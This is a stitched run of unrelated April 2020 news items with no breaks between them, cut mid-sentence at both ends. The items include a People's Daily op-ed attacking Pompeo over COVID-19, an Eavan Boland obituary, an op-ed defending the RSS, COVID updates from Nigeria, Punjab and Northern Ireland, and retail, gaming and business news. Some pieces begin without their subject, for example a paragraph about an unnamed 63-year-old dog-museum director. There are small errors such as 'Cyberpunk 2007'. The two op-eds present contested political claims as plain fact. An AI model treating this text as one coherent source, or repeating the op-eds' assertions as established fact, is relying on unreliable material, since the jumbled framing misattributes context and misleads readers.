spread of the virus, a common enemy of the mankind, he not only ignored the science-based instructions from international organizations and medical experts, but also sowed discords and launched unceasing attacks against China. It is reported that he has denigrated China on many occasions, saying the country failed to report the outbreak in a timely manner and destroyed existing samples. Pompeo, together with his fellow politicians, demanded compensation from China for COVID-19 and accused the WHO of promoting Chinas disinformation about the outbreak. Reports say that the former director of the CIA is transforming US Department of State into an intelligence unit. Clinging to the Cold War Mentality, he wantonly started conflicts instead of caring for the vast number of Americans on the brink of death. In total disregard of facts, he stigmatized China and made China a scapegoat in an attempt to shirk responsibilities. The undercover intention was to deflect attention at home and shift the blame to the innocent. He must be held accountable for all his evil acts. Even the US media cannot tolerate such political virus. Washington Post remarked that while more responsible leaders have struggled to contain the pandemic, Pompeo has pursued pet causes. He has dedicated himself to affixing blame to Beijing for the epidemic, and Pompeo's pandemic performance ensures his place among the worst secretaries of state ever. Groundless allegations against China cannot hold water. Faced with the horrific spread of COVID-19, China reported the outbreak to WHO, shared the genome sequence of the virus with other countries, and carried out international cooperation to contain the virus, all at the earliest time possible. These are plain facts for all to see, and have been widely acknowledged by the international community. The Communist Party of China and the Chinese government have always given top priority to the lives and health of the people, and fully safeguarded peoples right to life, health and other basic human rights. The country has admitted all suspected and confirmed cases for treatment, and tried its utmost to offer free testing and treatment for the patients. Chinas arduous efforts yielded remarkable phased results within two months, and the lives and health of all 1.4 billion Chinese people have been protected to the highest extent possible. As the Communist Party of China (CPC) has been dedicated to wholeheartedly serving the people, it is highly trusted by the Chinese people. It is crystal clear who is the first to sound the alarm for the prevention of the virus; who placed peoples lives above everything else and saved lives and cured patients at all costs; who took the most strict measures and mobilized the whole country; who shared the results of scientific research on the virus with the international community in a spirit of openness and transparency; and who shouldered its international responsibilities by lending a helping hand to countries with vulnerable public health systems. All these facts cannot be denied. When the world was in dire need of joint efforts to defeat the common enemy, Pompeo and his fellows stirred up troubles, regarded China as their rival and created the absurd political virus. Such practice would only undermine the joint efforts from the international community. Their wrong values and logic disclosed the ill intent to frame China and cover up their own incompetence. They defied the golden rule of defeating the virus with international cooperation, single-mindedly drove a wedge in the world and impeded international cooperation. Like what US scholars said, they are the accomplice of the virus. These moves could not cover up Pompeos failure in tackling COVID-19 as he wished, but only exposed more of it as the situation in the US deteriorates. The country must take actions before its too late. China urges Pompeo and the like to stop the anti-China rhetoric, abandon the old-fashioned Cold War Mentality, and respect the right to life and health that should be equally shared by all. It is high time that they saw the truth, kept their mouths shut and listened to the fair judgement of the international community. The virus knows no races and the pandemic respects no borders. For countries to tide over the public health crisis, the top priority and the only way out is to make concerted efforts. Pompeo and his fellow politicians should realize that making up rumors cannot defeat the virus, and attacking and smearing others cannot save lives. At the moment, the US side should meet the Chinese side halfway, implement the important consensus of the two heads of state, focus on cooperation, eliminate disturbances, jointly shoulder the important responsibilities of protecting lives, and push forward the development of China-US relations along the right track. This conforms to the fundamental interests of the two peoples, and the shared aspiration of the international community. (Zhong Sheng is a pen name often used by Peoples Daily to express its views on foreign policy.) President Michael D Higgins has led tributes to poet Eavan Boland who died suddenly at her Dublin home yesterday after suffering a stroke. She was 75. She was regarded as one of the most iconic female voices in Irish literature. The President and his wife Sabina offered their condolences to the writer's husband Kevin, "their daughters and the members of her extended family, her colleagues in poetry and her wide circle of friends". "With the passing of Eavan Boland, Ireland has lost not only an internationally acclaimed poet, distinguished academic and author, but one of the most insightful inner sources of Irish life, not only in life as expressed but as sensed and experienced," he wrote. "It was her particular gift to reveal the beauty in the ordinary. Over the years, through her poetry, critical work and teaching she displayed an extraordinary ability to invoke Irish landscapes, myth and everyday experience. "She became one of the pre-eminent voices in Irish literature, noted for the high standard she sought and achieved. "The revealing of a hidden Ireland, what was suffered, neglected, evaded, given insufficient credit, is a part of her achievement." Professor Regarded as one of the most iconic female voices in Irish literature, Boland published her first volume, 23 Poems, in 1962 when she was still a Trinity College student. She had an illustrious career as a poet, editor and lecturer and was a professor of English at the prestigious Stanford University near San Francisco, where she was also the head of its creative writing programme. Boland divided her time living in the US and Ireland in recent years. She was awarded the Bob Hughes Lifetime Achievement Award at the Irish Book Awards in 2017 where she was honoured for her "art, her eloquence and her stalwart advocacy for poetry", joining the ranks of fellow recipients including Nobel laureate Seamus Heaney. The 63-year-old is a dog owner himself, his baby a Welsh springer spaniel (She is among the prettiest breeds of dogs, he avers) that he and his wife, Kay, named Gemma. But a love of pooches didnt lead directly to his current occupation. Fausel was a pre-med student at UCLA when, to bolster what he calls his flagging GPA, he took an art history class that set him on a different course. With a graduate degree from Stanford in 18th-century British art, he eventually landed at New Yorks Doyle auction house. The dog thing happened after the auction house narrowly lost the Leonard Bernstein estate to a rival and Fausel, needing to drum up business, dreamed up a Dogs in Art sale after watching the Westminster dog show. He ran the sale for five years at Doyles and then at Bonhams, another auction house, until 2016. The dog museum sometimes purchased works from the sales, and when it relocated from St. Louis to Manhattan last year, it tapped Fausel as director. President Muhammadu Buhari Tuesday afternoon received a telephone call from American President, Donald Trump, during which the two leaders commiserated with each other on fatalities in their countries, caused by the COVID-19 pandemic. They also shared ideas on how to successfully combat the health emergency. President Buhari expressed condolences to the government and people of the United States over the fatalities recorded, and equally expressed worry at the high rate of deaths recorded across the world. The associated negative impacts of the pandemic on the worlds economy also came up for discussion. The Nigerian President lauded his American counterpart for the various initiatives adopted by his government to contain the further spread of the virus across the United States. He indicated Nigerias readiness to cooperate with the United States to fight this common unseen enemy. READ ALSO: President Buhari informed that Nigeria had taken a number of proactive measures to contain the spread of the COVID-19 across the country. The President welcomed the valuable friendship and expressed appreciation to President Trump for reaching out at this time. Femi Adesina Special Adviser to the President (Media & Publicity) April 28, 2020 Amateur wine-enthusiasts may soon be able to wax lyrical with their knowledge of aromas and taste, thanks to a new range by Marks & Spencer. The supermarket have released 15 new wines which have been designed to help wannabe connoisseurs, who might otherwise find the alcohol aisle intimidating, to learn more about the beverage. It is called the 'This Is range', a nod to their famous slogan, and includes bottles of spicy reds, blushing roses, tropical whites as well as some sparkling fizz on offer for just 6 or less. Created by M&S winemakers, led by Belinda Kleinig, the new bottles showcase popular styles and grape varieties, with bright, helpful labels showing exactly what kind of wine is on the inside. Marks & Spencer have released 15 new wines which are all 6 or less a bottle. The upmarket grocer is launching a 'This Is' range, a nod to their famous slogan, with a the introduction of spicy reds, blushing roses, tropical whites and some sparkling fizz (pictured is their Rose and Spanish Red) Created by M&S winemakers, led by Belinda Kleinig, the new wines showcase popular styles and grape varieties, with bright, helpful labels showing exactly what kind of wine is on the inside ( Pictured is the 'rich and spicy' shiraz ) M&S say the range is ideal for new wine-lovers who might otherwise find the wine aisle intimidating, because it is designed to offer guidance on taste, styles and grape varieties to help customers begin their wine journey. Among the names of the new range are the Chile Merlot, which is described on the label as 'round and plummy', while other bottles include the 'soft and fruity' Spanish Rose. Meanwhile other bottles on sale include the Chilean Sauvignon Blanc, which is described as 'zesty and fruity' and it costs just 5. M&S Foodhalls remain open amid the coronavirus pandemic, with selected items available on through BP garages and on Deliveroo. The full This Is Wine range includes... This Is French White, 2019, 5 This Is Italian Pinot Grigio, 2019, 5 This Is Italian Red, 2019, 5 This Is Fruity White, 2019, 5 This Is Spanish Red, 2019, 5 This Is Chile Sauvignon Blanc, 2019, 5 This Is Chile Cabernet Sauvignon, 2019, 5 This Is Italian Sparkling Rose, NV, 6 This Is Chile Merlot, 2019, 5 This Is Argentina Chardonnay, 2019, 5 This Is Argentina Malbec, 2019, 5 This Is Australia Shiraz, 2019, 5 This Is South Africa Chenin Blanc, 2019, 5 This Is Spanish Rose, 2019, 5 This Is Italian Sparkling , NV, 6 Advertisement After M&S announced their new range on Instagram this weekend, dozens of fans were quick to say they would grab a bottle on their next trip to the supermarket. 'Get me a bottle of that Chardonnay immediately!' one said. 'I can't wait to have a wine!' added another. 'Fantastic idea, I love this branding!' a third wrote. The brand's Italian Sparkling wine is described as 'fizzy and fresh' for customers to enjoy (pictured) M&S say the range is ideal for new wine-lovers who might otherwise find the wine aisle intimidating because it is designed to offer guidance on taste, styles and grape varieties to help customers begin their wine journey (Pictured right, Pinot Grigio and left, Sauvignon Blanc) Other wines released in the range include the Cabernet Sauvignon which is described as 'intense and smooth' It comes after M&S delighted shoppers by launching Percy Pig ice cream earlier this month. The new snack, which joins the range of Percy Pig jellies and sauces, has the unmistakable raspberry and grape flavour of the popular sweets with a ripple of signature fruity sauce running through, as well as strawberry marshmallows. And fans rejoiced at the announcement of the new product, saying they're going to rush to the shop to pick up the 'essential item', which costs 3 per tub for 453g. A snake has been rescued after getting trapped inside a familys new oven. The surprised household called the Scottish SPCA after they noticed the cornsnake on the tray of the appliance at their home in Cumbernauld, North Lanarkshire. The oven had to be dismantled to rescue the snake, which was spotted before it was turned on. It is not known how the snake, which is around two and a half feet-long, came to be in the oven. Scottish SPCA animal rescue officer Louise Hume said: Only about six inches of the snake was visible on the oven tray, the rest was hidden somewhere inside the oven. With assistance from my colleague, inspector Jack Marshall, and the member of the public we were able to take the oven apart and rescue the snake. Thankfully the oven was new and the family spotted the snake before it was turned on so it was uninjured after its ordeal. Neither we, nor the family have any idea how the snake came to be in the appliance. The snake, which was rescued on April 25, is now being cared for at one of the charitys rescue and rehoming centres, where staff have named it Cob. The RSS recognises that its strength lies in staying connected to the people, and it understands that any shift in collective mindset can only be done through conversation, engagement and persuasion over a long period of time. Mohan Bhagwats comments, where he alluded to Tablighi Jamaat attendees and said an entire community should not be vilified for the mistakes of a few, deserve greater scrutiny than a brief headline appearance. The statement, part of the RSS sarsanghchalaks televised addressed on Sunday from Nagpur to mark the Hindu ceremony of Akshay Tritiya, comes at a significant time. India is precariously perched in the battle against the coronavirus pandemic. Any missteps at this stage could undo the stringent administrative effort and a nations collective resolve to tide over the crisis. It is easy to forget Indias unique challenge given the size and density of its population. Indias trajectory of positive cases is comparatively slow thanks to decisive and early implementation of non-pharmaceutical measures but even at this slower rate, the case count could reach 50,000 in eight days, according to latest estimates. In a nation of 1.3 billion citizens, 50,000 may be a fraction but India lacks the resources and requisite public health infrastructure to control the scale of the pandemic once we reach stage three. Our best course of action, therefore, is to delay the transition from stage two to stage three and hope for the development of an effective line of cure or vaccination. To achieve this objective, it is vital that India remains unified in its determination. The importance of collective action to break the contagion chain cannot be overstated. We find the pandemic has made solidarity an essential tool in the armoury, not just an ideal to strive for. When so much is riding on a diverse nations collective action, any schism that challenges national solidarity at such a sensitive time is a threat. And when that schism develops around communal faultlines in a nation that remains maimed by communal violence, the threat becomes greater. The Tablighi Jamaat cluster outbreak presented India with one such challenge. It threatened to rip the spirit of collective resolve by highlighting the communal cleavage, and the explosion of cases caused by the super spreaders resulted in Muslims at large in India facing stigma and blame for the surge in the outbreak. What made matters complicated is that the allegation against Tablighi Jamaat event attendees (that included a number of foreigners) was not unfounded. The Markaz event in New Delhis Nizamuddin area was a sad story of administrative oversight along with defiance, obstructionism and careless attitude on the part of the organisers. By the first week of April, there were reports of more than 25,000 Jamaat preachers and their contacts getting quarantined across 15 states and Union health ministry claiming that the Markaz event had single-handedly brought down Indias doubling rate from 7.4 days to 4.1 days. The pandemic affected the world at different levels. It has caused fear, anxiety and panic, ravaged global economies and rendered millions jobless, taken away their livelihoods, introduced uncertainty, triggered behavioural and social changes in a fundamental way. All this churning is taking place at a time when people have gone into self-imprisonment, trading their freedoms for safety and keeping their lives in suspended animation. In India, the Tablighi Jamaat cluster outbreak caused considerable distress and anger. It didnt help that some of the Tablighi members faced charges of indiscipline, misogynist, lurid behaviour and were accused of attacking frontline health workers. We witnessed polarised behaviour on social media where anti-Muslim trends started surfacing. Soon enough, there were charges of Islamophobia, and foreign press went to town claiming Indian Muslims were feeling targeted, boycotted and subjected to religious hatred. In this context, Bhagwats comments assume significance beyond mere virtue-signalling. When the RSS sarsanghchalak says: All 130 crore Indians are our family. We are one... We should not blame the entire community for the mistakes of a few individuals. People who are more mature in both communities should come forward and start a dialogue to remove prejudices among peoples minds. He sends a powerful message of solidarity and asks people to rise above sectarian divides. Bhagwat didnt say anything pathbreaking or new, but the weight of his words lies in the fact that the Sangh, today, is ideologically, culturally, sociologically and even politically the most dominant cultural organisation in India. It is ideologically ascendant, culturally embedded and remains sociologically relevant. And the position that it enjoys today is the culmination of decades of working with people, staying connected and attaching itself intrinsically with every stratum of Indian society. For instance, to battle the current crisis, RSS through its different organisations have initiated a massive countrywide effort. As Bhagwat said during the recent address: More than three lakh dedicated volunteers are working at more than 55,000 locations across the country. The RSS, through its network, distributed over 33 lakh ration kits and two crore food packets till April 24. We have to work for others without taking any credit. In New Delhi, the RSS unit has been distributing 1.3 lakh food packets every day including among transgenders and sex workers and have employed 4,500 cadres to carry out the task (with administrative approval). Its Karnataka unit had pressed 8,404 volunteers into service to distribute 71,667 ration kits, 1,04,377 food packets and collect 721 units of blood from donors. The data is updated till 6 April. There is reportedly 52 kitchen running in Delhi alone. Not just the pandemic, the organisation acts as first responders during any national crisis and executes its tasks on a mass scale. This makes the RSS more influential than any other organization in India and in terms of power, orders of magnitude stronger than its detractors. An example of this unique power can be ascertained from the fact that as professor Makarand R Paranjpe writes in The Print despite nearly a hundred years of negative propaganda and relentless battering, RSS is not only alive and well but in great spirits and fighting fit. The RSS is no longer untouchable. Instead, it had become one of Indias most significant organisations, playing a vital role in shaping the nations destiny. The RSS recognises that its strength lies in staying connected to the people, and it understands that any shift in collective mindset can only be done through conversation, engagement and persuasion over a long period of time. Calling ordinary people bigots for holding certain views will serve to only alienate them and harden their beliefs. The RSS understands the conservative moorings of Indian culture and the civilisational ethos in which it is rooted. This ethos runs across the length and breadth of the nation despite many cleavages of class, caste, community and ethnicity. The RSS coopts people, works with them, becomes a part of their daily lives and tries to bring systemic changes in thought through persuasion. The goal of RSS has always been both macro and micro unify the nation, strengthen its moral fibre and engineer Indias economic and spiritual revival by stressing on the character of the individual. The RSS believes in a Hindu Rashtra and works relentlessly towards its goal but this is not a project of religious supremacy. As Bhagwat had said in 2018 during a three-day outreach event in New Delhi: Hindu Rashtra does not mean it has no place for Muslims. The day it is said that Muslims are unwanted here, the concept of Hindutva will cease to exist. This is where the organisation remains misunderstood, misconstrued and relentlessly vilified by the liberal circle both in India and abroad. The RSS remains committed to its goal of one nation and one culture but the concept of Hindu Rashtra is not a monotheistic, supremacist attempt to degrade Muslims and turn them into second-class citizens. The Hindu Rashtra is a cultural and a geographical construct that has room for all, and space for disagreements. As Bhagwat had said in the lecture, RSS respects the sentiments of those who wish to be called Bharatiya and not Hindu. Importantly, this is not a recent shift in RSS ideology. If MS Golwalker, the successor to RSS founder KV Hedgewar, had a hardline approach towards religious minorities, the shift towards a more liberal view and expansion of RSS horizons occurred right after Golwalker, through the Deoras doctrine propounded by Golwalkers successor Madhukar Dattatreya, or Balasaheb Deoras. Deoras stated: We do believe in the one-culture and one-nation Hindu Rashtra. But our definition of Hindu is not limited to any particular kind of faith. Our definition of Hindu includes those who believe in the one-culture and one-nation theory of this country. They can all form part of the Hindu-Rashtra. So, by Hindu we do not mean any particular type of faith. We use the word Hindu in a broader sense. In 2002, then sarsanghchalak KS Sudarshan established the Muslim Rashtriya Manch to work for improved Hindu-Muslim relations. While Golwalkers views on Muslims which came at a particular time in the nations history have been used as a convenient beating stick against the RSS, we must take note of Bhagwats recent comments where he stated clearly that Golwalkers policy positions were not eternal. Things are said due to circumstances and in a particular context. Wo shashwat nahin hein (They are not eternal), Bhagwat had said during the lecture in 2018. Therefore, when Bhagwat warns against stigmatising and blaming Muslims over the mistakes of a few, he is not merely doubling down on the liberal nature of RSS philosophy and exposing vilification campaigns against the organization as that arising from insufficient understanding and prejudice, he is also laying down a charter of approach for the wider public. Since the RSS is the closest to an ecclesiastical command of sorts for Hindus in an extremely loose sense of the term any such attempt to mitigate ill-will between communities is likely to have a deeper impact. Bhagwats comments couldnt have come at a more opportune time. The Ebonyi State Chief Judge, Anselem Nwigwe, has granted freedom to 20 inmates of the Abakaliki Custodial Centre. The News Agency of Nigeria (NAN) reports that the inmates were freed during a jail delivery exercise embarked upon by the chief judge on Tuesday in Abakaliki, the state capital. Mr Nwigwe, in a brief remark, noted that the exercise was part of efforts to decongest correctional centres in view of the ravaging coronavirus pandemic. He said 14 awaiting trial inmates were granted conditional bail, while four were granted bail on self-recognisance and two others discharged. We have released 20 inmates; 14 of them were granted conditional bail and will leave the facility once they fulfill the bail conditions. We granted bail to four on self-recognisance, while two were discharged. The exercise is aimed at complementing the state governments efforts in the fight against the COVID-19 pandemic ravaging the country. We have adjourned the exercise till May 6. It is a continuous one to decongest the custodial centres and enhance social distancing among inmates, Mr Nwigwe said. Meanwhile, the Controller of Correctional Services (CCS), Ebonyi Command, Emelia Oputa, has commended the exercise, saying it was part of the nationwide initiative to decongest custodial centres. She said the exercise had become imperative due to the congestion in most of the correctional facilities, stressing that there was the need to create room for social distancing due to the pandemic. The exercise is in consideration of the need for the inmates, who are also part of the society, to distance themselves due to the pandemic. The jail delivery has given opportunity to those who ordinarily wouldnt have regained freedom. The exercise is helping to decongest the facility, because as at two months ago, we had about 1,200 inmates. But now, we have 1,056 inmates. The exercise today has further decongested the yard, with the release of additional 20 inmates. Also we are not receiving fresh inmates, because there is lockdown in the custodial centres due to the ravaging pandemic, Mrs Oputa said. The News Agency of Nigeria (NAN) reports that only awaiting trial inmates, with minor offences or special considerations, were released. (NAN) FP Trending Google will host a live streaming session on 28 April for Google Stadia. The event will see the sharing of details about the new games that will make their debut on the cloud gaming service. A teaser along with the announcement was shared on the Google Stadia Twitter handle. It's time for another #StadiaConnect! Tune in this Tuesday 4/28 9.00 pm PT / 6.00 pm CET on YouTube to hear from the team and see a few new games coming to Stadia, read the post. Fans in India can catch the livestream on the Google Stadia YouTube channel on Tuesday at 9:30 pm IST. The 15-second clip shows a number of games that will soon be available on Stadia. It's time for another #StadiaConnect! Tune in this Tuesday 4/28 9AM PT / 6PM CET on YouTube to hear from the team and see a few new games coming to Stadia. pic.twitter.com/Fuao6QvHF3 Stadia (@GoogleStadia) April 24, 2020 Stadia Connect comes eight months after the event in August last year when Google unveiled seven titles, including Cyberpunk 2007. Google has mostly been reaching out to people through its blog posts, sharing features as well as announcements for Stadia. The gaming service has recently seen a rise in the number of users. The surge comes after Google started to offer two months of free access to its premium version for gamers who are spending most of their time at home due to COVID-19 lockdown. Authors note: This story was updated to reflect that dropoffs at bins are OK but Community Aid says 'if local bins are full, please bring to donation centers or continue to hold until bin is emptied." Community Aid, the non-profit that accepts donated goods for eventual purchase at a variety of retail stores around central Pa., has received a waiver from Gov. Tom Wolfs administration to clean up its bins located in various parking lots and community centers. So, while you might not see loads of well-intentioned bags piled up around those anymore, it still doesnt mean the operation is back to business as usual as the closures related to the coronavirus pandemic stretch into May. Meg Martin, the marketing director for Community Aid, told PennLive that the companys six donation centers are now open for no-contact dropoffs only. Hours are Monday-Saturday from 10 a.m. to 6 p.m. Each location will have a designated lane with a bin or cart to drive up to, and the items will later be taken inside out of the elements and quarantined for 72 hours. Additionally, Community Aid leaders urge those who wish to drop things off at bins to be mindful of stacking items that cant fit inside the bin on the ground around it, which can lead to those items being ruined. If local bins are full, please bring to donation centers or continue to hold until bin is emptied, Community Aid says on its website. In keeping with our cleanup waiver, a minimum of staff operate our trucks and handle donations, while wearing protective equipment and practicing social distancing." Its also important to note that the retail stores are still not open at this time. Our trucks have been out for a few days, which allowed them to clean up refuse outside of bins and transfer goods from the bins to under cover and into quarantine, Martin said. It is a slow process. We are light staffed but theyve been making great progress and we anticipate that, across the region by end of this week a full cleanup should be visible. We are grateful to all of our nonprofit partners who helped to clean up the refuse. IT is truly the spirit of neighbors helping neighbors. A full list of donation centers can be found below, and Martin urged those hoping to drop off items to do so at one of them during the hours listed above instead of at a bin site. York 2001 Springwood Road Queensgate Shopping Center York, PA 17403 Hanover 793 Baltimore Street Hanover, Pennsylvania 17331 (717) 412-7706 Mechanicsburg 4833 Carlisle Pike Mechanicsburg, Pennsylvania 17050 (717) 412-7706 Harrisburg 4405 Lewis Rd Harrisburg, PA 17111 (717) 412-7706 Lancaster 31 Rohrerstown Road Lancaster, Pennsylvania 17603 (717) 412-7706 Selinsgrove 1070 N Susquehanna Trail Selinsgrove, PA 17870 (570) 372-1040 Digital transformation, remote monitoring and the need to optimize operational costs to drive drone sector revenues to $515 million by 2030 SANTA CLARA, California, April 28, 2020 /PRNewswire/ -- An analysis by Frost & Sullivan, Drones in the Global Power and Utilities Industry, Forecast to 2030, reveals that the market for drones in the power and utilities industry will continue to expand at a compound annual growth rate of 23.6%, reaching $515 million by 2030. Ongoing digital transformation trends across the power and utilities sector and an increase in the adoption rates of drones to ensure the security of power supply under today's challenging conditions are expected to sustain this growth. "Drones minimize the need to send human employees onsite and can be deployed for monitoring, operations, and maintenance services," said Swagath Manohar, Senior Research Analyst at Frost & Sullivan. "As the global power and utilities industry continues to tackle the impact of the ongoing COVID-19 pandemic, drones can be potential game-changers in combating the challenges it poses." Frost & Sullivan's latest analysis examines the current and future market potential of drones across the power and utilities sector and identifies growth opportunities based on key market factors and trends. The current adoption rate of drones in the power & utilities industry is less than 10% globally, but it is steadily increasing as companies acknowledge the role of drones in providing reliable, safe and efficient inspections of power generation and transmission and distribution (T&D) assets. North America is the most advanced regional drones services market with large utilities in the United States already investing in in-house programs to inspect and maintain their thousands of miles of T&D assets. In Asia-Pacific and South Asia, the market is set to take off after 2020 regulatory frameworks are completed. Europe will see initial adoption of inspections of solar and wind assets, while LATAM experiences slow, steady growth over the forecast period. For further information on this analysis, please visit: http://frost.ly/42u In the short term, power and utilities companies should focus on building operational resilience by leveraging emerging technologies and forming strategic partnerships with tech companies and service providers to tackle the challenges posed by the pandemic. Drone service providers (DSPs) can also utilize this opportunity to explore new business models and services like performance contracts, pay-per-mile, and pay-per-time to improve their revenues. "Power and utilities companies should explore the option of an in-house drone team in the long term," noted Manohar. "The current pandemic presents the right opportunity for them to test their strengths and weaknesses in developing their in-house drones capabilities and identify the right technology partner who can provide the required services." DSPs can foster growth by: Delivering proprietary full-stack drone management software and cloud services to clients. Partnering with companies that offer robust Al solutions for deploying autonomous drones. Deploying augmented protective measures to prevent malicious cyber-attacks from hackers. Collaborating with sensor manufacturers for better hardware, software, and payload integration. Partnering with analytics companies to develop platforms specific to an industry's needs. Drones in the Global Power and Utilities Industry, Forecast to 2030 is a part of Frost & Sullivan's Energy and Environment Growth Partnership Service program, which helps organizations identify a continuous flow of growth opportunities to succeed in an unpredictable future. About Frost & Sullivan For over five decades, Frost & Sullivan has become world-renowned for its role in helping investors, corporate leaders and governments navigate economic changes and identify disruptive technologies, Mega Trends, new business models and companies to action, resulting in a continuous flow of growth opportunities to drive future success. Contact us: Start the discussion. Drones in the Global Power and Utilities Industry, Forecast to 2030 K3E4-14 Contact: Jaylon Brinkley Corporate Communications +1 (210) 247 2481 jaylon.brinkley@frost.com Health Minister Robin Swann has warned "complacency is our biggest enemy", after Northern Ireland recorded its biggest single-day increase in Covid-19 deaths since the outbreak began. On Tuesday it was announced that a further 20 people have died in the region's hospitals after testing positive for Covid 19, bringing the death toll to 329. Speaking at the Executive's daily coronavirus update, Robin Swann urged people not to relax their guard over social distancing. "I want to make a direct appeal to anyone who's having doubts about the seriousness of the threat from Covid-19," he said. "I also want to address anyone who has attempted to relax their guard on social distancing. "Let them think about the 20 families grieving today. Let them think about those who have lost their lives. "Let them think about the key workers that have perished ... we all need to keep doing the right thing on social distancing." As well as a further 20 deaths, 34 more cases of the virus were also confirmed on Tuesday, bringing the total number of confirmed cases to 3,408. The total number of tests carried out in Northern Ireland is now 23,376, after an additional 807 tests were completed. The news comes after Northern Ireland stopped to pay tribute to those front line key workers who lost their lives working during the pandemic. Prime Minister Boris Johnson, who returned to work after contracting the virus, joined in the moment's silence at 11am. Expand Expand Expand Expand Expand Expand Expand Expand Expand Previous Next Northern Ireland stops to pay silent tribute to key workers [Photos] Close Health care staff hold a minute's silence at the Nightingale Hospital in south Belfast for key workers who have died as a result of Covid-19. (Photo by Kevin Scott for Belfast Telegraph) Kevin Scott / Belfast Telegraph Health care staff hold a minute's silence at the Nightingale Hospital in south Belfast for key workers who have died as a result of Covid-19. (Photo by Kevin Scott for Belfast Telegraph) Kevin Scott / Belfast Telegraph Health care staff hold a minute's silence at the Nightingale Hospital in south Belfast for key workers who have died as a result of Covid-19. (Photo by Kevin Scott for Belfast Telegraph) Kevin Scott / Belfast Telegraph Health care staff hold a minute's silence at the Nightingale Hospital in south Belfast for key workers who have died as a result of Covid-19. (Photo by Kevin Scott for Belfast Telegraph) Kevin Scott / Belfast Telegraph Health care staff hold a minute's silence at the Nightingale Hospital in south Belfast for key workers who have died as a result of Covid-19. (Photo by Kevin Scott for Belfast Telegraph) Kevin Scott / Belfast Telegraph Health care staff hold a minute's silence at the Nightingale Hospital in south Belfast for key workers who have died as a result of Covid-19. (Photo by Kevin Scott for Belfast Telegraph) Kevin Scott / Belfast Telegraph Health care staff hold a minute's silence at the Nightingale Hospital in south Belfast for key workers who have died as a result of Covid-19. (Photo by Kevin Scott for Belfast Telegraph) Kevin Scott / Belfast Telegraph Health care staff hold a minute's silence at the Nightingale Hospital in south Belfast for key workers who have died as a result of Covid-19. (Photo by Kevin Scott for Belfast Telegraph) Kevin Scott / Belfast Telegraph Health care staff hold a minute's silence at the Nightingale Hospital in south Belfast for key workers who have died as a result of Covid-19. (Photo by Kevin Scott for Belfast Telegraph) Kevin Scott / Belfast Telegraph / Facebook Twitter Email Whatsapp Health care staff hold a minute's silence at the Nightingale Hospital in south Belfast for key workers who have died as a result of Covid-19. (Photo by Kevin Scott for Belfast Telegraph) More than 100 NHS and care staff have died with the virus across the UK, as have many other key workers. Read More Meanwhile, Northern Irelands economy is set to shrink by a staggering 7.5% with the unemployment rate doubling to 5%, according to a forecast today. A report by Danske Bank said hospitality would be worst hit, with a contraction of 17%. Check out our live blog below to see how Tuesday's developments unfolded. Chandigarh, April 28 : Even as he hinted at certain curfew relaxations, Punjab Chief Minister Amarinder Singh here on Tuesday announced a compulsory 21-day quarantine for all those returning to the state to check spread of Covid-19. Pilgrims returning from Nanded, students and labourers coming from Rajasthan, would be stopped at the border and sent to the government quarantine centres to ensure that they didn't mix with others for 21 days, said the Chief Minister, Radha Soami Satsang centres would also be used to quarantine these people, whose return was being facilitated by his government for the past three days, he said. He also indicated that the government could go for certain relaxations, while taking all precautions, based on the report of an expert committee, set up to formulate Punjab's Covid-19 curfew exit strategy. Singh was discussing the coronavirus crisis, lockdown as well as the rabi procurement with Congress legislators through video link. Most legislators were for continuance of strictness for another couple of weeks, limited relaxation in certain areas, and borders to remain sealed not just around the state but also around districts and villages. Any Covid-19 patients should be hospitalised or treated within their own district, to limit outside contact and exposure, they said advising extreme caution in lifting curbs. The Chief Minister urged the legislators to set an example by taking all precautions while executing their public responsibilities. State Congress chief Sunil Jakhar also attended the meeting along with representatives from various Assembly constituencies. On a request from UP to send back migrant labourers after quarantining them in Punjab, the Chief Minister said he would convey to his counterpart that this had to be done by his government and not by Punjab. Singh said his government would make all efforts to retain and care the migrant labourers, whose return was now being facilitated by various states, such as UP. "We need to look after them so that they don't leave Punjab, where they are needed to help out in the procurement operations as well as the industries that we are gradually opening up," he said. Pointing to rising cases even after 35 days of lockdown, he said the Centre had indicated, based on various inputs and studies, that the trend would continue till July. He said the lockdown was necessary to delay the spread as far as possible to enable the nation to prepare better if the situation worsens, and also in the hope of a vaccine. Punjab has lost 19 lives and has 330 cases. After the NRIs and the Tabligi Jamaat, the latest threat of the coronavirus spread in Punjab was on account of the pilgrims returning from Gurdwara Hazoor Sahib in Nanded, Maharashtra. Another large group of pilgrims is expected to return to Punjab on Wednesday. The state government planned to put all of them in quarantine at the Radha Soami centres, he said. In response to concerns expressed during the meeting, he said there would be no shortage of bales to handle the bumper wheat crop. He also reiterated that there would be no criminal case against owners of industries in case of any incidence of coronavirus. Latest updates on Coronavirus (COVID-19) Oil-telecom-to-retail major Reliance Industries will consider a proposal to issue equity shares to existing shareholders on rights basis on April 30. Experts feel the rights issue after Facebook deal is a tool to build confidence among shareholders and create tremendous value for shareholders. "It reflects promoter's unflinching faith in the medium to long term prospects of various businesses. Over the decades, like Dhirubhai Ambani, Mukeshbhai has always believed in creating tremendous value for minority shareholders," Ajay Bodke, CEO - PMS at Prabhudas Lilladher told Moneycontrol. "With consumer focusing businesses like digital, telecom & retail achieving global scale, with global behemoths vying with each other to partner RIL; this is an apt opportunity for current shareholders to participate in the likely value unlocking of various businesses over the next couple of years," he said. Shailendra Kumar, CIO at Narnolia Financial Services also feels the rights issue indicates a confidence-building among shareholders and shows that everything is positive. Further, it shows that Reliance share price is not reflecting the actual fair value or the current share price is below the actual fair value, he said. In the rights issue, only shareholders as on record date are allowed to participate. Experts also feel that the proposal of rights issue is a part of balance sheet deleveraging strategy that the company announced in AGM last year. "Reliance Industries continued its process of deleveraging balance sheet. So Facebook deal is already done, now they are waiting for Saudi Aramco deal, these all indicated that the company is in a position to deleverage balance sheet," Shailendra Kumar said. In fact, it is in line with their strategy announced in last AGM in 2019 to look for strategic investors in telecom, oil, retail businesses etc, he added. In other words, Reliance wants to keep its balance sheet light and aims to participate in the next business opportunity when the economy starts showing recovery, Shailendra feels. Mukesh Ambani, Chairman and Managing Director of RIL, in his AGM speech in August last year, had said, "We have a very clear roadmap to becoming a zero net debt company within the next 18 months that is by March 31st, 2021." "As we achieve our zero net-debt target, I assure you my dear shareholders that we will reward you abundantly through higher dividends, periodic bonus issues and other means, and at a more accelerated pace than any time in our history," he added. Reliance Industries share price has rallied 62.5 percent since March 23's low, outperforming the Nifty50 that has gained over 20 percent in the same period. On April 22, Reliance Industries, Jio Platforms and Facebook Inc signed binding agreements for an investment of Rs 43,574 crore by Facebook into Jio Platforms. "This investment by Facebook values Jio Platforms at Rs 